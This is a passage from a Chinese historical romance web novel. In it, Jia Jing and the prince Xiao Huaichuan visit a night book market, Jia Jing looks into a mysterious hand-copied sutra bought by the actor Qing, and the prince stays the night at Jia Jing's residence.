他说的倒不是假话,来天珍阁用膳的,多数是舞文弄墨的文人,去逛热闹的书市,才是正常。 贾敬见小厮这模样,心中不禁暗道:这新开的书肆和这天珍阁不会是同一个东家吧? “这倒是稀奇,夜里灯火照明毕竟有限,那些书商怎就舍得耗这灯油钱,还把书市摆到这般时候?难不成这夜里客人竟比白日还多不成?”贾敬故意问着小厮。 小厮显然对书市的情况了如指掌,笑嘻嘻地解释: “这白日里,多是文人墨客、公子小姐们穿梭其间,挑书购籍。” “可这到了夜里,来的大多是些白日忙碌生意,无什么闲暇的行商坐贾。这些买卖人平日里忙着算盘账簿,唯有夜里得闲,盼着能寻几本提升学识、知晓各地商情风俗的册子。” “这二来,书市是由多家书肆联合,这灯油钱分摊下来,便不显得多了,还能多做几笔买卖呢。” 贾敬一听,瞬间明白了这里面的门道。 小厮话还未说完,他像是想到了什么,嘴角瞬间咧开,眼角眉梢都堆满了那种让人捉摸不透的暧昧笑意。 只见他微微扯动嘴角,身子俯了俯,挤眉弄眼地压低声音, “您这就不清楚了,这有些书啊,就得晚上去找才好。” 小厮无论是神情语气,还是说出的话,都显得很怪异。 萧淮川在一旁微微拧眉,心中觉得莫名,什么叫做晚上去找才好? 他轻抿着嘴唇,看着贾敬兴致勃勃的模样,终究还是没吭声。 贾敬先是也没明白小厮的话,可他到底多活了一遭,瞧小厮那副挤眉弄眼的模样,刹那间恍然大悟。 小厮口中提的“晚上才好挑的书”,怕不是那些香艳旖情之书…… 贾敬忽觉脸上起了热意,瞬间从脸颊一路烧到了耳根。 “咳。”他尴尬地清了清嗓子。 小厮顿时明白,这位公子是明白了自己的意思,眼神一副了然之色。 萧淮川不明就里,但也知道贾敬先前还在遗憾去不成书肆,开口便道: “既如此,我们便去瞧瞧,也当是消食了。” 贾敬眨了眨眼睛,他还真的挺想去瞧瞧的。想来那里也不可能全是那样的书,刚刚小厮不还说了,还有些地方商情风俗的册子吗? 东市距离天珍阁并不远,两人步行前往,也当时消食了。 月光洒在街巷的青石板路上,似是镀上了一层银霜。 贾敬行至一段路后,转头问萧淮川:“我观那小厮对东市书市以及那间新开的书肆情况如数家珍,这幕后东家,恐不是一家吧?” 萧淮川沉吟,却是摇了摇头,“应当不是。” 贺家的情况他一直都在密切关注着,若真是贺家在京城开了这么一家书肆,还引发了这么大的动静,萧淮川不可能不知道的。 但这书肆大抵与贺家有所关系,这也是萧淮川心中的猜测,他对这间书肆也起了丝兴趣。 向东一路行至东市,还未靠近便见那头灯火明亮,人影绰约,在这里便能听见嘈杂声、谈笑声,热闹一片。 走近便看见,这一条街的书肆,竟然未有一家歇业,楼上楼下,门里门外皆灯火通明,门前还搭了棚子,想来是遮一遮晚上的露水,怕书受了潮。 贾敬站在街头的第一间铺子棚前,扫了一眼,多是些时新话本。他又迅速瞥了眼身边的萧淮川,见他正四处看着,便眼疾手快地翻了几页,倒是有几分做贼心虚的意味。 见里面只是一些寻常话本,贾敬倒是松了口气。 下一瞬,贾敬就顿觉有些默然。 谁会将那种书冠冕堂皇放店铺门口啊…… 贾敬撇了撇嘴,他也是被小厮的话给带偏了。 再说,就算萧淮川看见又如何,萧淮川如今虽身边没什么房内人,可贾敬不信萧淮川没看,谁年少时没好奇过? 可一想到萧淮川看过那些书,甚至于一些图册,贾敬心中又有些郁结。 然而连他自己都曾好奇看过,又怎么能指责萧淮川?他又凭什么身份呢? 贾敬唇角抿起,兴致缺缺地将手中的书放回了原位。 萧淮川收回目光时,刚好看见这一幕,看了眼书名,以为贾敬是对这些书不感兴趣,抬手指了指不远处, “我刚刚看了,那处人多的地方,应当就是新开的那间书肆了。” 贾敬顺势看去,一眼便看见了那家客如云来的商铺。 “我们过去那家瞧瞧。” 因各家门口都搭了棚子,难免占了些道,加上不断攒动的书客,竟然都有些走不动道。 贾敬抿了抿唇,他并不喜欢往这些人堆里挤。 忽的,贾敬腰间被什么猛地一撞,他没有丝毫防备,脚下一个趔趄就要朝前面扑去,贾敬的心猛地提起,下意识闭上眼。 就在贾敬以为自己要脸朝地时,便感觉到腰部被人用力一揽,一收。 “阿元,有没有事?” 贾敬一睁眼,就对上了萧淮川关切的眼神。他怔了怔,下一瞬便发觉此时他们二人的动作有多亲近暧昧。 被萧淮川的手臂揽着腰,贾敬整个人都紧紧贴着萧淮川。 “我没事。” 贾敬刚准备远离萧淮川的怀里,谁知道,萧淮川的手紧紧揽着贾敬的腰不松手。 “就这样吧,先过去。” 第65章 温热的触感透着轻薄春衫径直烫向贾敬的腰际, 令贾敬忍不住一颤,不自在地扭动着身子。 “你先松开,我自己走……”贾敬的耳根此时火热一片。 萧淮川仿若未闻, 只是紧了紧手臂,将贾敬往自己身边带得更近了几分。 贾敬的身体瞬间一滞,被桎梏的腰身僵着, 一时不知道该如何, 只能顺着萧淮川的力道, 朝前走去。 这条道上人着实不少, 前后往来人挤着人。贾敬回神来却注意到,每当有人要朝自己这方向挤来时,萧淮川总能带着他巧妙侧身, 减少与他人的碰触。 “唔。” 贾敬闷哼一声, 他刚刚走神,一个不注意便顺着萧淮川的力道歪了一下,撞了个满怀。 明明四周嘈杂一片,可贾敬的耳边却只能清晰地听到萧淮川沉稳的心跳声, 如擂鼓一般,一下一下, 震得贾敬耳尖忍不住泛了红。 萧淮川垂眼, 目光轻飘飘地落在贾敬那异样的耳尖上。 “注意着点儿, 别走神。” 萧淮川俯身在贾敬耳边轻声提醒, 温湿的气息拂过贾敬本就泛红的耳尖, 他心下一慌, 下意识屏住了呼吸。 贾敬的脸没一会儿也染上了粉意, 也不知是因为走神被萧淮川提醒感到羞赧, 还是因为憋着气, 亦或是其他。 他微微低首,手悄悄地捏住了萧淮川的衣袖,任由萧淮川带着他穿梭在人群中。 刚到了那家书肆外围,贾敬便迫不及待地挣脱,与萧淮川拉开了距离。 萧淮川盯着贾敬的动作,却什么话也没说,只是自然的收回了手。 贾敬瞥了萧淮川一眼,暗自缓缓舒出一口气。 “墨韵轩。”贾敬将书肆的牌匾念了出来,“名字甚雅,书法亦是名家手笔。” 贾敬又想起天珍阁的牌匾墨宝,两者风格迥异,明显不是出自同一人之手,可笔韵却是可以一较高下。 这两家背后的东家,若不是同一个,那么这墨韵轩背后的东家,想来来头也不会小。 “这间书肆门口倒是与别家不同。”萧淮川负手而立,扫视了一圈,吐了这么一句。 贾敬跟着看去,很快便看出了不一样。 他们一路走来的书肆门口,如那小厮所说,聚集的多是行商坐贾。 可这间书肆不同,时间这般晚,在此顿足的人多是身着长衫,多半是文人读书人。 见这些人将门口的书棚围得水泄不通,贾敬探了探头,“到底放了些什么书?” 萧淮川颔首,“过去瞧瞧。” 到了跟前儿,贾敬随手捞过一本书,看到题目时,目光便陡然一变。 “淮哥,你瞧。” 贾敬将手中的书朝萧淮川那边挪了挪,萧淮川看向书封时,眼眸也不禁眯了起来。 上书写道:《京华策林新纂》。 贾敬顺着翻开,看到目录的内容后,“果然,是策论的合集编纂。” “按照地域划分,又从童试开始,将童试、院试、乡试、会试、殿试各级考试的内容、题型都囊括了进去。” 萧淮川:“不仅如此,他这些内容还是近些年最新的,就连这次殿试的策论都在上面。” 贾敬显然也看见了,毕竟这是他曾经考过的题。 两人相互对视一眼,都看见了对方眼底的丝丝讶然。 “怪不得……”贾敬微微点头,“怪不得这里围了这么多读书人。” 他也知道为什么宋子虚会说,先前没见过这样的书。 贾敬又将手中这册子大致翻了一遍,观里面的内容见解,解题摘要考评,越看越心惊。 他缓缓将手中的册子阖上,沉声道:“这册子里语言针砭时弊,对各级考试剖析详细,想来编书之人定是对这些年的科考有深刻洞察和分析。” 萧淮川和贾敬同时把视线落在了书封上,编纂署名:佩云斋。 这一看便是名号,可佩云斋是何人的名号? 如今世间闻名的大儒里,并没有谁号“佩云斋”。 萧淮川又拿起另一本,落款同样是“佩云斋”,内容同样与科举有关,是教科举诗词解题俗称的一本诗词心得。 他看着这内容,不禁晃了晃眼,这样的诗词分析心得,他也曾见过。 贾敬将萧淮川的神情变化收入眼底,却没多说什么,而是又就近看了看手边其余的书。 他又找出了一本时文大全,里面对当下热门时政话题也见解独到,很是不简单。 贾敬再一看署名,依旧是“佩云斋”。 这“佩云斋”到底是何方神圣? 就在贾敬思忖着,一道突兀的声音插了进来。 “这位公子,您这书要吗?” 贾敬抬眸看去,只见一位发丝、服饰都有些凌乱的青衫读书人,涨红着脸指着贾敬手中的那本《京华策林新纂》。 他也知道这样开口不甚礼貌,连忙解释道:“在下已经找了一圈了,大、大抵只剩这一本了,您……” 他说着话,紧张的都有些结巴。 贾敬见他洗得有些发白的青衫,又观他的年岁,猜到是家境一般的学子,顺势将手中的书递了过去。 “谢谢,谢谢这位公子!” 青衫学子双手接过,还向贾敬弯腰作揖表示谢意。 贾敬笑道:“不必如此,我用不着这个,只是随手翻看。” 他看似不经意问青衫学子,“近日墨韵轩这些书还真是火热,难买的紧。” 那青衫学子听贾敬这么感慨,就跟遇见了知音一般,跟着点头,感慨道:“可不是难买吗?” “就公子刚刚拿到的这本《京华策林新纂》。”他说着晃了晃手中的书。 “我都在这里蹲了三天了,店家接连补货,我也就才找到了这一本,这还是公子您让与我的。” 贾敬一听,心道还真是巧了,这难得一本,还能被自己随手抓到,想来应当是先前抢书毕竟混乱,混在其他书中,被自己捡了漏。 “这位佩云斋先生,定是世间大儒,他出的这一系列书,哪位学子不是甘之如饴?” 青衫学子眼神里尽是对这位“佩云斋”的崇敬。 “我还要回去温书,再次谢谢这位公子让书之恩。”青衫学子再次感谢,才拿着书去一旁结账了。 萧淮川将手中的书放下,抬了抬下巴,“我们进去看看。” 这间墨韵轩从外朝里看去,亦是人满为患,贾敬猜,里面可能还藏着其他好东西。 两人迈步进去,里面的书客衣服明显较外面一众学子要华丽许多,多是绫罗绸缎,腰间挂着香囊佩环之物,非富即贵。 书肆里面的书籍摆放,与外面的书棚相比,就有秩序了许多,书架上也都标注了属于什么类别的书。 比如:四书五经、诗词歌赋、兵法典籍等。 角落里窝了一众人,贾敬先是只是随意扫了一眼,当看见角落书架上标着的类别,忽的一顿,紧接着移开了眼。 天珍阁的小厮果然没说错,晚上来挑那些书册的人着实不少。 贾敬忍不住嘟囔了一句,跟在他身旁的萧淮川没听清,问了句,“阿元说什么?” “没什么。”贾敬矢口否认,朝旁边的书架走去,随手拿出一本书,装个样子。 贾敬现在站的位置,没几步便是去二楼的楼梯。 忽的,他隐约听见二楼传来的一段对话,下意识抬眸看去。 贾敬听见了一个熟悉的名号。 “青老板,您这边请。”一道爽朗的中年男声。 “黄掌柜客气,我先前托您留的那本书,可还在?”这道声音则是显得清冽婉转,说话吐字又细腻顺滑,很是动听顺耳。 “青老板亲口嘱托,我自然都记得的……” 两人愈行愈远,声音也渐渐听不见了。 贾敬微微垂眸,眼里划过一抹思绪。 那“黄掌柜”应该就是翰墨轩的掌柜。 而另一位,无论是熟悉的名号,还是那道让人听之忘俗的声音,贾敬也能确定,刚刚这位“青老板”,正是先前去理国公府,演那出“贵妃醉酒”的青老板,崇雅堂的台柱儿,水青。 据柳阙所说,这位青老板和齐王萧淮洵关系可不一般。 青老板一位戏子,需要什么书,让这位翰墨轩的黄掌柜特地留? 贾敬想到青老板和齐王的这层关系,又想起翰墨轩这个阵仗,眼皮不自觉跟着跳了跳。 翰墨轩难道跟齐王有什么牵扯? 这个念头冒出,贾敬便待不住了,对萧淮川道:“淮哥,我看书法墨宝类典籍都在楼上,我上去瞧瞧。” 丢下这句话,贾敬便上了楼。 萧淮川此时也在翻阅着书籍,并未察觉到贾敬的异样,只是“嗯”了一声。 他在看的正是一本兵书,倒不是《孙子兵法》之类的名家典籍,而是一些战场上的逸闻趣事,但从这里面却能窥见许多战场上不曾记载的细节。 书册薄薄一本,萧淮川很快就看完了,见贾敬还未下来,便又随手从书册里抽出了一本。 他也没看书名,顺手就翻开了内页。 见开篇是两位举子知己一同进京赶考,却因下雨滞留寺庙。 夜间雷雨,吵得睡不着觉,其中一人便来寻其好友温书。 萧淮川蹙了蹙,应当是其他人放书放错了地方,他便当是什么才子佳人的话本,兴致缺缺的翻看了起来。 下一瞬,萧淮川整个人一僵,凤眸骤然睁大,忽的将书用力合上,像是丢什么烫手山芋一般,丢在了书架上。 什么笑解着罗带,牵之入了床帏?不是在温书吗? 他们不是知己好友吗?怎么可以做那档子事! 这竟然是本香艳旎情之书,还是男风! 萧淮川目光死死盯着被他丢至书架上的那本书,仿佛在看什么洪水猛兽。 【作者有话要说】 小萧震惊! 第66章 贾敬这边上了楼, 眼睛便迅速扫视一圈。楼上人虽不少,但站于楼梯处也能一眼观全貌。 他的目光俶尔落在一处。 贾敬上次虽只见过青老板的戏曲装扮,未曾见过真容, 可他还是一眼便将人认了出来。 只见那人倚靠在窗台边,身着一身剪裁得体的水碧色长衫,身形高挑挺拔。精致的盘扣紧紧扣着, 衬得他的脖颈愈显修长。 他的手随意搭在窗沿, 抬眸低眼间, 眉梢眼角自带一丝风流缱绻, 原本只是清秀的面庞倒多了几分风情。 青老板旁边并未有其他人,也并未看见方才和他说话的黄掌柜。他好似若有所察,收回看向窗外的目光, 稍稍转眸看来。 贾敬直接一个侧身, 从旁边一个书架抽出一本书,随意一瞧,是本书法小札。 他假装认真看着,实则余光一直瞥向青老板那处。 “青老板, 让您久等了。” 一个矮胖中年人从一个小隔间出来,朝青老板的方向走去, 手中还拿了两册书。 贾敬听声音便知晓, 这位就是先前和青老板说话的黄掌柜。 目光落在黄掌柜手中的书册上, 贾敬眼眸微沉, 这到底是个怎样珍贵的书, 还特地放在了小隔间中, 都未放置在书架上。 黄掌柜没几步路就走到了青老板身边, 贾敬明显注意到, 就在他们还有几步之遥时, 青老板便下意识动了步子。 他小心翼翼地双手接过那两册书册,当翻开内页时,甚至连手都颤抖了几分,情绪是肉眼可见的变化起伏。 到底是怎么样的书,能让青老板这般动容? 贾敬眯起眼,想要看清书的书封。然而距离过远,实在是看不清。 青老板缓缓将书合上,如葱根般的指尖轻轻抚摸过书封,眼里是难掩不住地珍视。 他随后朝黄掌柜微微躬身,“多谢黄掌柜了,您若是得空,必须得来崇雅堂听戏,我给您留最好的位置。” 青老板不唱戏时,说话时的声音也不显得粗犷。当他软和着语气,就更加让人舒心。 黄掌柜哈哈笑道:“老夫就爱听您的戏,青老板放心,下次再收到书,我立刻派人去通知您。” 黄掌柜的话,很是客气。 都说戏子是下九流,惹众人轻视,可做到青老板这种名角儿的,多的是达官显贵愿意捧着的,普通平民自然也不愿意招惹。 且不说青老板背后有哪些显贵,就说黄掌柜方才的话,他若真的爱听戏,是真票友,那对青老板的态度也是再正常不过。 贾敬从他们那一席话中听出了里面的关键:黄掌柜交给青老板的书,竟然还不是翰墨轩自己的拿货渠道,而是他私人收上来的。 那么,到底是个什么书? 贾敬想到青老板的身份,心道:难道是什么戏词孤本? 可远处瞧着,那二本书册也很明显是新书,并非什么古籍。 青老板和黄掌柜又寒暄了几句,黄掌柜欲送青老板下楼。 贾敬收回目光,垂首看着手中的书,他此时站的位置,正是距离楼梯口出不到两步。 他仔细听着从身后传来的脚步声,心中算计。 贾敬深吸一口气,微微调整了下神情,装作一副看书入了迷的模样,一个转身,脚步不自觉地向前走了两步,径直和向他这个方向走来的青老板撞在了一起。 “哗啦”一声,贾敬和青老板手中的书都应声落地。 青老板脸色骤变,贾敬则是先一步蹲下身子,抢在青老板之前,将两人落地的书捡了起来。 贾敬在捡书的过程中,迅速用眼角余光扫视书内页的内容,眼皮一跳,忙不迭垂下眸去。 他眼眸里是难掩的震惊和狐疑。 贾敬千猜万算,想了许多内容,或许是戏词孤本,亦或许是齐王那边什么情报,却怎么也没想到,被青老板这般珍之惜之的两册书,是一本佛经。 虽只看了一眼,贾敬还是将这最常见的佛经给认了出来,是《般若波罗蜜多心经》。 太过常见了,便显得更加怪异。 贾敬愣神不过一瞬,还未等他反应过来,手中的书便被青老板一把夺了回去。 青老板看都未看贾敬一眼,手捧着书,用衣袖仔细又轻柔地将书封上星星点点的灰尘一一擦拭干净。 贾敬站起身,面含愧色道:“对不住!对不住!看书看入迷了,一时没注意身后有人。” 青老板将灰尘擦拭干净,又仔细翻看一遍,见书毫发无损,缓缓舒了口气,这才抬眼去瞧撞他之人。 他的视线落在贾敬身上的衣裳布料时,顿了顿,随即朝贾敬摆手,“不碍事。” 说完这句话,青老板没和贾敬多纠缠,便直接下了楼,步履匆匆。 黄掌柜也是看了贾敬一眼,朝贾敬笑笑,也跟着下去了。 贾敬负手朝青老板颀长的背影看去,又垂眸看了看自己的衣裳,挑了挑眉。萧淮川的常服,瞧着素净,料子却是上等。 虽然青老板隐藏的很好,可贾敬还是在他眼底瞧见了不忿之色,想来被撞导致心爱之物落地,他是愤怒的。 可这青老板自然也是懂人情世故的,光是看贾敬的衣裳,便知道他惹不起,匆匆离去。 贾敬面上带着疑窦,刚刚青老板仔细查看那本书是否损坏时,贾敬也站在一旁望着,那两册书当真只是本普通的《般若波罗蜜多心经》。 装订朴素,入手的纸张很是粗糙,即便算不上劣等纸,也绝称不上什么好纸。 翰墨轩书架上摆放的任何一本,都要比这本好上许多。 这么一本普普通通的佛经,怎么就那么让青老板这般珍视? 唯一一处特别的…… 贾敬抬起手,将指腹放至鼻前,鼻翼稍稍翕动,闻到了一股墨味。 这是他刚刚捡那两册书,手指翻过书页留下的味道。 佛经并非是统一印刷之物,而是手抄本。接触则便能沾上味,想来是刚抄好不久。里边字迹贾敬也看了,只能说中规中矩,谈不上什么名家之作。 抄写用的墨亦不是什么好墨,定然是没加入什么香料,墨味刺鼻。可仔细闻着,又能闻到一阵幽幽的檀香味。 贾敬擅书法,对笔墨纸砚亦是研究不少,以他的见识,自然能判断出,这檀香味必然不是加入墨中的香料,而是长期放于有檀香的地方,所沾染的。 联想起这书册的内容是佛经,抄写佛经之人大抵是在佛堂等地抄写,此处长期燃着供奉佛像的檀香,这才沾染上。 这两册佛经无论是内容,还是书法纸张用墨,皆是一般。 佛经普通,那么不普通的,便是抄写佛经的人。 青老板定然是认识这位抄写之人,而通过两册佛经的普通质地也能推测出,佛经的抄写人生活窘迫,靠给书肆抄写书籍度日。 这样的情况,贾敬并不陌生,有许多家境清贫的读书人都是靠抄书贴补家用。 依照青老板如今的地位,他定然是不缺钱财,但他却没有直接接济抄书人,而是朝黄掌柜买了这本心经抄本。 这里面也有多种可能,可能是抄书人不愿被青老板接济,也可能是青老板不愿被抄书人知晓,他买了书。 然而,无论是哪种可能,都表明了一点,青老板与这抄书人关系很不一般。 贾敬一直关注着青老板,是因为青老板与齐王萧淮洵关系密切,眼下被他发现了青老板的一个秘密,贾敬自忖:这或许是一个突破点。 贾敬心中立刻有了决断,找出那位抄书人,弄清楚抄书人的身份,和青老板又是怎么样的一个关系。 黄掌柜能拿出这两册佛经,加上他与青老板的一席话,不难看出,他应当是知晓抄书人的身份。 然而贾敬却不能直接询问黄掌柜,黄掌柜与青老板交情看着也不浅,若是直接询问,恐怕是会打草惊蛇,引起青老板的警惕。 黄掌柜收这两册佛经,也不知道是他本人收的,还是从他处收的。这中间斡旋倒了几手,贾敬也不得而知。 贾敬轻啧一声,这事情想要查清楚,还真的有些棘手难办。 他心中想着事儿,脚步顺着楼梯下去。 “想什么呢?下楼梯也不专心,小心摔着。” 萧淮川略带责备的声音在贾敬耳边响起,贾敬一怔。 青老板的事情还未弄明白,贾敬并不想现在告诉萧淮川,他忙不迭讨饶道: “想刚刚那书上的心得呢。” 萧淮川:“若是喜欢,买了便是。” 贾敬连忙点头,又怕萧淮川接着问下去,赶紧转移话题,故意问着萧淮川, “方才在楼下,淮哥看了什么书?” 萧淮川闻言,身子则是猛地一滞,手凭空握了握,眼底滑过一丝微不可察的尴尬和慌乱。 贾敬歪了歪头,狐疑哼了一声,“嗯?” “咳!” 萧淮川像是被口水哽住,随后接连咳了几声,声音有些沙哑,“没看什么。” 贾敬眨了眨眼睛,他觉得萧淮川好似瞒着他什么,但到底没问。 萧淮川垂落的袖口下,翻过那书的指尖隐隐发烫,他虚握几下,紧紧攥住。 他岂能让阿元知晓那等荒唐之物? 【作者有话要说】 阿元:淮哥看了什么书? 萧淮川:…… 小x书,这能说吗??! 萧淮川:简直荒唐! 阿元瞪大眼睛:所以你就自己看? 第67章 萧淮川扯了扯僵硬的嘴角, “时辰不早了,我们还是先回去吧,下次再来逛。” 贾敬点点头。 就在两人要出门时, 路过柜台前,贾敬看见了两个熟悉的身影,顿足。 一位是比贾敬先下楼的黄掌柜, 而另一位是先前问贾敬是否要《京华策林新纂》的那位青衫学子。 萧淮川见贾敬停顿脚步, “怎么了?” 贾敬朝柜台那边抬了抬下巴, “是方才那位读书人。” 萧淮川看过去, 显然也想起了这人,自然也想起了先前青衫学子说的话。 他先行离开,说回家温书。 这种客气的说辞, 贾敬和萧淮川自然不会在意真伪。 贾敬注意的是黄掌柜递到青衫学子手中的东西, 是一套笔墨纸砚。 翰墨轩是书肆,却只卖书籍,并不买卖笔墨纸砚。 是抄书的工具。 一想到抄书,贾敬便联想到那本让青老板珍视的《般若波罗蜜多心经》手抄本。 贾敬不动声色的打量着青衫学子, 先前就已经注意到,青衫学子洗至发白的长衫, 看着家境就不是很宽裕。 如此一来, 为书肆抄书贴补家用, 倒也合情合理。 那么, 这位青衫学子是否知晓一些别的事情呢? 至于贾敬为何不猜测这名青衫学子就是那手抄心经之人…… 一来, 贾敬的直觉便觉得不是;二来, 与佛经相比, 与科考相关的四书五经等书籍显然要贵上许多, 也是科考学子愿意抄写的内容, 又能抄书赚钱又能温书温习,一举两得。 见那青衫学子拿着东西就要出去,贾敬抬腿迈了几步,先是朝门边走去。 萧淮川动了动眼眸,也跟着贾敬走了过去。 青衫学子转身出门,在门口就看见贾敬,脸上闪过一丝讶然。 贾敬也假装震惊,随后笑道:“好巧,又遇见兄台了。” 青衫学子一愣,神情里带着一抹受宠若惊,他没想到这位富贵公子还记得自己,还主动朝自己说了话。 紧接着他连忙回道:“好巧,又遇见公子您了。” 门口人来人往,自然不好一直站在门口,三人顺势出了门。 贾敬故作好奇,看向青衫学子怀中小心捧着的一堆东西,抬了抬下巴问道: “这是买了东西,忘了拿了?” 青衫学子听贾敬的问话,只是犹豫了一瞬,便摇头坦诚答道: “这是为翰墨轩抄书,掌柜所赠。” 贾敬:“翰墨轩还特地准备纸张笔墨?” 青衫学子解释道:“翰墨轩的书皆是精品,他们所收的抄本,自然也是要求不低。所以收取抄本所需的纸张、笔墨都由翰墨轩出。” 贾敬顺着他的话道:“翰墨轩如此大方吗?” 心中也更加确定了一点,那两册佛经果然是黄掌柜私人收来的,不然那样质地的纸张与墨,也过不了翰墨轩的要求。 青衫学子点头,“自然,所以大家挤破头都愿意为翰墨轩抄书。” 他说着脸上的笑意更深,甚至带了些狡黠,“我若是一字不错的抄下来,省下的笔墨纸砚便能自用了。” 青衫学子丝毫不避讳自己的窘境,在贾敬萧淮川这样的富家子面前也没有强撑脸面,甚至坦荡的透露出自己无伤大雅的小心思。 世人多数有虚荣攀比之心,文人读书人亦是清高,像青衫学子这样不遮不掩的,倒是难得的真实豁达,贾敬不由得高看了一眼这位年轻的青衫学子。 原本贾敬上前搭话,只是想通过青衫学子了解黄掌柜手抄本的事情,眼下贾敬改变了想法,这人是个值得深交的人。 贾敬嘴角微微上扬,嘴上夸道: “如此说来,翰墨轩收手抄本的要求必定不低,兄台能接下这份委任,想来亦是有过人之处。” 青衫学子挠挠头,腼腆一笑,“只是侥幸罢了。” “我看我与兄台有缘,既然如此,交个朋友如何?”贾敬顺势说出了自己的目的。 萧淮川微不可察地瞥了贾敬一眼,并未说话,默默看着贾敬。 贾敬:“在下姓贾,单名一个敬,字培元,兄台可唤我培元,不知兄台如何称呼?” 青衫学子讶然的张大嘴巴,说话都有些结巴,“你、你是贾培元?” 这回轮到贾敬惊讶了,“兄台认识我?” 青衫学子朝贾敬深深一个作揖,“久闻您的大名。” 贾敬不禁扯了扯嘴角,久闻大名? 自己在京城的名声虽称不上纨绔子弟,声名狼藉,可也算不上多好。 “在下姓岑,名回,字凤转。” 岑回说完,紧张地看着贾敬,眼里还透露着丝丝崇拜,“培、培元兄,在下有幸见过您的字,当真了得。” 贾敬哑然,原来是因为这个。 今日已然时辰不早,岑回的家更是在城外,还赶着宵禁前回去,只好向贾敬辞行。 贾敬想吩咐人送岑回回去,却被岑回拒绝,贾敬只好称下次得空再好好聚聚。 岑回走前还礼貌的朝萧淮川行了一礼,贾敬虽未曾与他介绍此人身份,但他也知道,必然是非富即贵。 萧淮川望着岑回的背影,转眸看向贾敬,缓缓开口: “难得见阿元这么欣赏一个人。” 贾敬一听,眼角跟着抽了抽,这话听着怎么那么不对味呢?但他还是老实回答道: “确实合眼缘。” 贾敬反问:“淮哥不觉得,岑回此人虽出身贫寒,可心性胸襟皆不简单吗?” 萧淮川唔了一声,不置可否,而是问了另外一件事,“你对翰墨轩找人抄书一事很感兴趣?” 贾敬抬头看了眼翰墨轩的匾额, “这翰墨轩,无论是所卖书籍还是自掏腰包准备纸笔,只为一本品质上称的抄本,都处处与其他书肆不同。” “俗话说,天下攘攘皆为利往,天下熙熙皆为利来。一本品质上乘的抄本,确实可以卖上一个高价。” 贾敬说着一顿,随后话锋一转,“然而,这并没有多大必要。” 萧淮川:“是,近些年印刷本的品质不断提高,虽比不上品质上乘抄本的气韵,可也不遑多让。” “再说书肆寻人制抄本一事,他也本可以不提供笔墨纸砚,据我所知,京城有好几处书肆收取的品质上乘抄本时,皆不提供这些。” 贾敬有些诧异地望着萧淮川,他没想到萧淮川对京城内书肆及抄本情况也有了解。 萧淮川接着道:“他们收取抄本费用高昂,即便是要自费买笔墨,依旧有许多读书人争着抢着,僧多肉少。” 如此一来,翰墨轩的做法在这群书肆之间,就显得更加独树一帜。 “或许,翰墨轩背后的东家是真的看重这些读书人吧……” 要么,翰墨轩便是所图甚大,想要提前笼络这些贫苦读书人的心,毕竟,能达到翰墨轩收抄本要求的,在京中也算是凤毛麟角了。 萧淮川说完,正巧撞上贾敬眼中的好奇。 贾敬盯着萧淮川,顺势问道:“淮哥居然对这些情况也了如指掌?” 萧淮川轻笑,摇了摇头,“谈不上了如指掌,只是如今我进了户部,总该了解掌握一下京城各行各业的行情价格。” 书籍只是里面小小的一部分。 贾敬有些瞠目,“我记得你去户部没几日吧?京城各行当的行情,都掌握了?” “嗯,大抵都清楚了。” 贾敬默然,微微敛眸,他觉得自己这些日子真是懈怠了。 萧淮川好似看出了贾敬的想法,轻笑出声,“我的事情,我自会处理,阿元想做什么就做什么。” 他就算与贾敬坦白了自己的野心和目的,也不过是想要贾敬的一个态度,而并非是需要贾敬为他做些什么。 贾敬稍稍抬首看着萧淮川,微黄的灯光照在萧淮川的脸上,仿若镀了层金边,整个人都较往日显得柔和了几分,独属于他的温柔。 “好。” 贾敬笑弯了眉眼,只是说好,至于他心中是何盘算,没急着与萧淮川说。 街边的灯光幽幽然然地洒落,恰似一层轻薄金纱覆在了贾敬翩翩睫羽之上,留下一层暗影。 那狭长的眼尾微微上扬,眼眸于光下如水一般潋滟波光,掩不住的写意风流。 灯下美人,说不出的迷离幻梦之态。 萧淮川只觉得喉头发紧,他不自觉地微微偏过头去,努力错开落在贾敬身上的目光。 书市上的人逐渐散去,两人并肩行至街角时,便看见小德子一脸惶恐地站在马车旁候着。 见萧淮川贾敬二人前来,忙不迭上前,面露难色,说话也磕绊起来, “殿下,这已经过了时辰,宫门已然落了锁了。” 萧淮川显然也未料到,今日居然会这样晚,居然错过了宫门落锁的时辰。 小德子低垂着头,眼却用余光悄悄朝萧淮川看着,等待着主子的命令。 萧淮川稍稍思忖,眼眸微动,朝贾敬看了一眼,却并未说话。 小德子眨了眨眼睛,立刻笑着朝贾敬道:“二爷,不若殿下今日便歇在您府中吧?” 萧淮川点头,“好。” “啊?” 一直到萧淮川跟着贾敬进了宁国府,贾敬都还有些懵。 萧淮川这怎么就跟着他回来了呢? “阿元可是不欢迎我?”萧淮川垂着眼眸,声音有些低沉,“阿元到底是大了,想当初我们曾经抵足而眠的日子可……” “怎么会,自然欢迎。”贾敬听得头皮发麻,连忙点头应了。 别的院落早已经歇息,大晚上贾敬也不想弄出多大的阵仗,只好将人带回了自己的院落。 贾敬未归,院里伺候的素雪和其余侍者都未曾歇着,听着外面声响,没一会儿素雪便领着几人迎了上来。 “可是二爷回来了。” 当看见贾敬身后跟着的萧淮川时,差点失声,“太子殿下……” 话刚起头,素雪便立刻闭紧了嘴巴,连忙底下头去。 “嘘,”贾敬示意素雪噤声,随后小声吩咐道,“今日淮哥就宿在我这儿,你快去安排吧。” 素雪到底是贾敬院中的大丫鬟,瞬间明白意思,应声去安排了。 贾敬转头对萧淮川道:“淮哥放心,素雪在我房中伺候多年,有分寸的。” 萧淮川听了贾敬的话,眼眸微闪,视线落在素雪的背影身上,目光幽幽。 忍不住轻啧了一声。 【作者有话要说】 小萧幽幽开口:阿元可知道这像什么? 阿元疑惑:诶?像什么? 小萧:……像极了带好兄弟回家,让家中女主人安排住宿。 阿元惊恐:冤枉啊! 第68章 萧淮川就宿在了贾敬隔壁的厢房, 两人一墙之隔。 贾敬的院落从未留人住过宿,因此他的住处也并未有专为客人留宿准备的床褥,素雪便将贾敬房中储存的干净床褥铺在了隔壁厢房, 供萧淮川使用。 夜沉月明,清凌凌的月光透过软烟罗纱窗的缝隙钻了进来。 萧淮川平躺在床上,本以为陌生的床会让他不适, 却不曾想, 床褥上传来的熟悉清香让他不觉缓缓闭上了眼, 惚惚睡去。 不知过了多久, 萧淮川原本平和的眉眼微微蹙起,好似听到了什么声响。 萧淮川长睫颤动,脑中忽的贯入了一则朦胧的画面。 起初, 萧淮川眼前飘着丝丝缕缕地雾霭, 他听闻两道窸窸窣窣的交谈声: “李兄,可在房中?” “原来是贤弟,外头风雨犹急,快些进来, 